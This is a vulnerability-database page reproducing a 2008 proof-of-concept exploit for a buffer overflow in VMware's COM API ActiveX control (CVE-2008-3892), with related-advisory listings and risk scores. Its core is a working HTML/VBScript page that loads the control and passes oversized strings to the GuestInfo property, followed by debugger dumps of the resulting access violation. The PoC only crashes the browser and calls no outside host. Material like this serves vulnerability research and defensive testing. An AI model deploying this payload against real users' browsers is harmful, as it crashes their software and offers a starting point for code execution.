VMware - COM API ActiveX Remote Buffer Overflow (PoC)
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-2008-3892 | 1 Sep 200800:00 | – | circl |
 | Update Protection against VMware COM API ActiveX Control Buffer Overflow | 31 Oct 200800:00 | – | checkpoint_advisories |
| VMware COM API ActiveX Control Buffer Overflow (CVE-2008-3892) | 22 Feb 201000:00 | – | checkpoint_advisories |
 | CVE-2008-3892 | 3 Sep 200814:00 | – | cve |
 | CVE-2008-3892 | 3 Sep 200814:00 | – | cvelist |
 | CVE-2008-3892 | 3 Sep 200814:12 | – | nvd |
 | Buffer overflow | 3 Sep 200814:12 | – | prion |
 | VMware Products Multiple Vulnerabilities (VMSA-2008-0014) | 10 Sep 200800:00 | – | nessus |
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VMWare COM API Buffer Overflow
url: http://www.vmware.com/
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.net
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
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<object classid='clsid:38DB77F9-058D-4955-98AA-4A9F3B6A5B06' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
buff_1 = String (2000, "a")
buff_2 = String (2000, "b")
test.GuestInfo (buff_1) = buff_2
End Sub
</script>
Dump:
09:25:39.339 pid=0640 tid=0504 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [00000070])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61
ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62
EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90
--> MOV EDX,[ECX+70]
----------------------------------------------------------------
09:25:39.339 pid=0640 tid=0504 EXCEPTION (unhandled)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [00000070])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61
ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62
EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90
--> MOV EDX,[ECX+70]
----------------------------------------------------------------
# milw0rm.com [2008-09-01]Data
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01 Sep 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.24363